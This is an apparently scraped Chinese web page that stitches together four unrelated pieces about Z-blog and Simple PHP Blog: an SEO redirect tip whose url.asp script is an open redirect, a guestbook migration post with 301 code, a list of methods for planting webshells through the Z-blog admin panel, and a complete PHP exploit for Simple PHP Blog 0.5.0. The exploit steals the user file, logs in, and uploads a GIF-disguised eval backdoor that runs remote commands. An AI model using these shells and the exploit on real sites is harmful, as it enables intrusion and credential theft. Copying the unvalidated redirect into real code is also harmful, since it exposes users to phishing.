一 : Z-Blog 利于SEO的外链跳转形式url.asp?url=
我发现不少使用z-blog博客程序的博主,把外链跳转的形式更改为http://域名/url.asp?url=http://www.***.net,后来发现z-blog自 带的主题模板的评论链接也是使用类似形式,据说如此的链接跳转有利于SEO,使用z-blog做淘宝客的朋友,首页太多外链不利于SEO,建议使用这个方法。下面是博客吧搜索到的设置方法。
 z-blog外链跳转url.asp?url=形式设置方法:
 1.新建一个url.asp文件,把下面的代码添加进入,保存后,上传到z-blog根目录
 <%
dim url
dim baiyea_url
baiyea_url=request("url")
Response.Redirect baiyea_url
%>
 在浏览器输入http://你的域名/url.asp?=http://www.***.net,如果能跳转到网站就表示成功;(原理:这是段简单的asp代码,dim表示定义变量;Redirect表示把用户重定向到一个不同的URL。)
 2.在z-blog的ADMINFCKeditoreditordialog目录下找到fck_link.html文件,并对其进行编辑,在其中找到以下代码:
 <select id="cmbLinkProtocol"> 
 <option value="http://" selected="selected">http://</option>
 <option value="https://">https://</option>
 <option value="ftp://">ftp://</option>
 <option value="news://">news://</option>
 <option value="" fckLang="DlgLnkProtoOther"><other></option>
</select>
 将其替换为以下代码
 <select id="cmbLinkProtocol"> 
 <option value="http://www.***.net/url.asp?url=http://"selected="selected">url.asp?url=http://</option>
 <option value="http://" selected="selected">http://</option>
 <option value="https://">https://</option>
 <option value="ftp://">ftp://</option>
 <option value="news://">news://</option>
 <option value="" fckLang="DlgLnkProtoOther"><other></option>
</select>
 PS:把www.***.net替换为自己的z-blog博客域名
 3.添加以上代码是修改FCKeditor编辑器,主要是为了方便插入外链时使用http://www.***.net/url.asp?url=http://www.hadeasy.com这种形式
 4.之后在编辑文章添加外链接,在“插入/编辑超链接以及上传附件”中的协议选择url.asp?url=http://
 
 提示:使用z-blog博客且外链多的朋友,建议使用这种方法。
 参考文章:z-blog官方论坛
 转载请注明出处:博客吧
 注:相关网站建设技巧阅读请移步到建站教程频道。
二 : Z-blog留言本的关闭和改造
从今天起,卢松松博客正式关闭Z-blog博客自带的留言本功能,开启一套新的留言本,之前留言的数据全部移植到新留言本中,而主博客的留言本数据全[www.61k.com)部删除清0。
关闭Z-blog留言本的原因。
首先,由于博客多方面原因,导致现在评论量大的时候,尤其是几个用户同时评论,会导致评论速度下降,甚至要等上十几秒才能提交成功,严重影响了用户体验,所以把留言本剥离出去,分担Z-blog的数据压力。
其次,由于我并未采用加干扰码的方式输出连接,而是直接现实网址,在加上搜索“留言本”比较靠前,导致一些别有用心的人总通过程序、软件等方式在此页面下将大量垃圾留言发布于此。
最后,再考虑到留言本日后的功能扩展和优化,所以我做了一个艰难的决定,关闭Z-blog博客现有留言本功能。
移植留言本,我都做了哪些工作。
MessyCS曾在我博客留言本上说过,我博客在访问量大时性能方面有暴露了很多问题,移植留言本是我改造博客是其中一部分。
1:保证网页结构的一致性。
其实这套留言本程序在上周已启用,到现在都没人看出来,主要是我在模板设计和界面上完全照搬了原来的模板。唯一有能看出变化的是路径,Z-blog默认留言本是guestbook.asp,就为了改后面这几个字符(.asp),从guestbook.asp改到guestbook(根目录)。其次是留言本数据的调用,现在博客各个页面均采用JS调用方式,不知道有多影响速度。
2:给留言本做301重定向。
由于只是一个单页,是ASP程序,所以做301定向比较简单,以下是ASP做301从定向代码,只需把guestbook.asp这个页面替换成以下代码即可,域名注意要换成你想重定向的网址上。
ASP:
<%
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://lusongsong.com/guestbook/"
Response.End
%>
PHP:适用于wordpress等程序。
header("HTTP/1.1 301 Moved Permanently");
header("Location:http://lusongsong.com/guestbook/");
exit();
附一:301重定向代码和测试工具(国外测试)(国内测试),如果出现结果200表明请求已成功,请求所希望的响应头或数据体将随此响应返回。更多方法请参见“详解301永久重定向”。
附二:未来即将发布的《低调与华丽模板》将保留留言本模板功能,使用此模板的用户不受影响,主要在模板性能上作出调整。
附三:很多人问我博客精彩语录是怎么搭建是,其实就是用一个ASP留言本改的,和这套留言本的方法是一样的。
三 : Z-blog后台拿SHELL方法总结
一、在上传类型添加asp或者asa然后上传大马就好了 
二、进后台在附件那上传*.asp;1.jpg,不要选择“自动命名上传文件”,上传目录是http://www.***.com/upload/*.asp;1.jpg 
三、插件管理--TotoroⅡ插件,导出此插件,下载本地利用文本形式打开base64加密的,自己用一句话或小马去base64加密下替换之,修改Totoro/ajaxdel.asp文件名,再进后台删了这个插件重新上传安装下,你的SHELL地址就是PLUGIN/Totoro/xxxx.asp了。
四 : Simple PHP Blog (SPHPBlog)
<?
 /*
  sIMPLE php bLOG 0.5.0 eXPLOIT
  bY mAXzA 2008
 */
 function curl($url,$postvar){
  global $cook;
  $ch = curl_init( $url );
  curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt ($ch, CURLOPT_HEADER, 1);
  curl_setopt ($ch, CURLOPT_REFERER,"$url");
  if (strlen($postvar)<3) $postvar="123";
  curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);
  if (strlen($cook)>3)
  curl_setopt ($ch, CURLOPT_COOKIE, "$cook");
  $res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print "<hr>$err<hr>";
  curl_close($ch);
  return $res;
 } function error($msg){
  print "<hr>$msg<hr>n<h1>Not Exploitable";exit;
 } extract($_POST);extract($_GET); print "<pre>URL:<form method=post><input size=80 name=url value=`$url`>";
 if (strlen($eval)>3){
  $eval=stripslashes($eval);
  print "nEnter PHP Command:n<textarea name=eval rows=10 cols=90>$eval</textarea>";
  print "<input type=submit value='Eval'></form>";
  $res=curl("$url/images/emoticons/sphp.php","z=$eval");
  $res=strstr($res,"GIF89a");
  print substr($res,41);exit;
 } if (strlen($url)>10)
 {
  print "n<hr>Trying to Get /config/users.php...";flush();
  $res=curl($url."/config/users.php","");
  if (strstr($res,'|')) print "Done!nn$res";
  else error("nnUsername & Password Not Foundnn$res");  print "n<hr>Trying to Get Username & Password...";flush();
  $res=str_replace("rn","n",$res);
  $res=substr($res,strpos($res,"nn") 2);
  $line=explode("n",$res);$n=count($line)-1;
  if ($n) {
  print "nDone! Found - $n users:n";
  for ($x=0;$x<$n;$x ){
  $up=explode("|",$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);
  print "nUsername - ".$up[1]."tPassword - ".$up[2];
  }
  }  print "n<hr>Trying to Login...";flush();
  $postvar="user=$user[0]&pass=$pass[0]&";
  $res=curl($url."/login_cgi.php","$postvar");
  $cook=strstr($res,'Set-Cookie: sid=');
  $cook=substr($cook,12,strpos($cook,';')-12);
  if ($cook) print "nnDone... Cookie - $cook";else error("n<h1>Error To Login</h1>nnn$res");  print "n<hr>Trying to Upload Emoticon...";flush();
  $buf="R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8 Ow==";
  if (@filesize('sphp.php')!=82){
  $f=fopen('sphp.php',"w");fwrite($f,base64_decode($buf));fclose($f);
  }
  $f=getcwd()."/sphp.php";
  $res=curl($url."/emoticons.php",array('user_emot'=>"@$f"));
  if (strstr($res,"Success!")) print "nnDone! Exploit path - $url/images/emoticons/sphp.php"; else error("n<h1>Error To Upload</h1>nnn$res");  print "n<hr>Trying to Exploit...";flush();
  $res=curl($url."/images/emoticons/sphp.php","z=print 20080824;");
  if (strstr($res,"20080824")) print "nnDone! Exploit Working!"; else error("n<h1>Error To Exploit</h1>nnn$res");  print "n<hr>Trying to Logout...";flush();
  $res=curl($url."/logout.php","");
  if (strstr($res,"You are now logged out")) print "nnDone!"; else error("n<h1>Error To Logout</h1>nnn$res");
  print "nEnter PHP Command:n<textarea name=eval rows=10 cols=90></textarea>";
 }
 print "<input type=submit ></form>";
 ?>   
   本文标题:
z-blog-Z-Blog 利于SEO的外链跳转形式url.asp?url=  本文地址:  
http://www.61k.com/1070158.html